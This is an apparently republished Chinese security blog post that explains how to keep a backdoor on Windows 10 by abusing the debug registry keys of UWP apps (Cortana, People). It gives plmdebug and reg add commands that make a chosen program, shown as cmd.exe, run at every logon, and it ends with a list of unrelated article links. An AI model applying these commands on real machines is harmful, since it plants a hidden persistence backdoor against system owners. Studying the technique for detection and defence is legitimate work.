Windows通用应用平台UWP持久化
START
0x01前言
这种权限维持方式也是一种自启动后门,但仅支持Windows10通用应用平台(UWP)上的应用程序,如:Cortana和People,通过将它置于调试模式后并配合Process Monitor工具可以找到UWP应用对应的注册表位置,然后修改为我们要执行的恶意程序,当目标机器注销/重启系统登录时就会执行这个恶意程序,原文地址:https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx。
0x02列出软件包名称
首先我们需要找出当前系统完整的软件包名称,因为后边PLMDebug调试时要用到,可以使用以下命令列出所有的软件包,这里仅显示name、packagefullname。
Get-AppxPackage | select name,packagefullname
0x03安装PLMDebug
PLMDebug.exe包含在Windows调试工具中,所以我们只需要安装Windows 10 SDK即可,安装过程中只要选择“Debugging Tools for Windows”这一项就好了。
0x04调试Cortana软件包
使用以下命令调试Cortana软件包,然后在开始菜单中打开Cortana,胡乱点一下,稍等片刻即可弹出cmd.exe。
plmdebug.exe /enabledebug Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy C:WindowsSystem32cmd.exe
Process Monitor监视到了它的注册表位置,而且发现写入了大量相关注册表项和值,所有注册表项的值都是:C:WindowsSystem32cmd.exe,不过只要注销/重启系统后就没有了。还在调试过程中发现这些行为都是由sihost.exe产生,所以我们只要在Process Monitor过滤器中仅显示包含sihost.exe进程即可显示出来。
0x05修改Cortana注册表
通过以下两条命令都可以实现持久化,方法都是一样的,只是注册表位置不一样,第一条会损坏原有的Cortana程序,无法正常运行,第二条不会损坏原有的Cortana程序,可以正常运行。修改以下注册表项时必须确定与你当前系统的UWP应用程序版本相对应,否则后门不会被触发。
People人脉:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPackagedAppXDebugMicrosoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe /d "C:WindowsSystem32cmd.exe"
reg add HKCUSoftwareClassesActivatableClassesPackageMicrosoft.People_10.1807.2131.0_x64__8wekyb3d8bbweDebugInformationx4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca /v DebugPath /d "C:WindowsSystem32cmd.exe"
Cortana(小娜):
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPackagedAppXDebugMicrosoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy /d "C:WindowsSystem32cmd.exe"
reg add HKCUSoftwareClassesActivatableClassesPackageMicrosoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewyDebugInformationCortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca /v DebugPath /d "C:WindowsSystem32cmd.exe"
注:笔者在当前测试环境下设置好了Cortana后门,在注销/重启系统登录时会执行1次,进入系统后每间隔5-20分钟左右会执行1次,这应该是微软后台自动运行了Cortana(小娜),所以会再次触发该后门,没有找到相关资料,具体原因不清楚,全靠猜,0.0 !!!
- 如何在CDH中安装和使用StreamSets
- 如何使用Oozie API接口向非Kerberos环境的CDH集群提交Shell工作流
- 如何使用Oozie API接口向非Kerberos环境的CDH集群提交Java作业
- 如何通过Livy的RESTful API接口向Kerberos环境的CDH集群提交作业
- 如何使用Oozie API接口向非Kerberos环境的CDH集群提交Spark作业
- Joomla 权限提升漏洞(CVE-2016-9838)分析
- Firefox - SVG cross domain cookie vulnerability
- 当代 Web 的 JSON 劫持技巧
- 利用特殊协议加载本地文件, 绕过 HTML5 沙箱, 打开弹窗诸事
- Nginx权限提升漏洞(CVE-2016-1247 )分析
- 初识 Fuzzing 工具 WinAFL
- 如何使用Oozie API接口向Kerberos环境的CDH集群提交Spark2作业
- 如何编译及使用TPC-DS生成测试数据
- ASP.NET MVC编程——缓存
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Azure认知服务之表格识别器
- [Go]go语言实战-go版本的supervisord编译安装与运行
- Kafka2.6.0发布——性能大幅提升
- BlackHat2020议题之Web缓存投毒
- 新版RTSP视频平台EasyNVR视频广场分页数据展示优化
- 自己动手编写一个Mybatis插件:mybatis脱敏插件
- 【每日一题】36. Valid Sudoku
- 【网易云课堂】Java语言程序设计进阶----第一周编程作业
- 11 Confluent_Kafka权威指南 第十一章:流计算
- 简直骚操作,ThreadLocal还能当缓存用
- 品优购(IDEA版)-第一天
- 品优购(IDEA版)-第二天
- 品优购第四天
- 深度学习框架OneFlow的并行特色(附框架源码和教程)
- 图解Java设计模式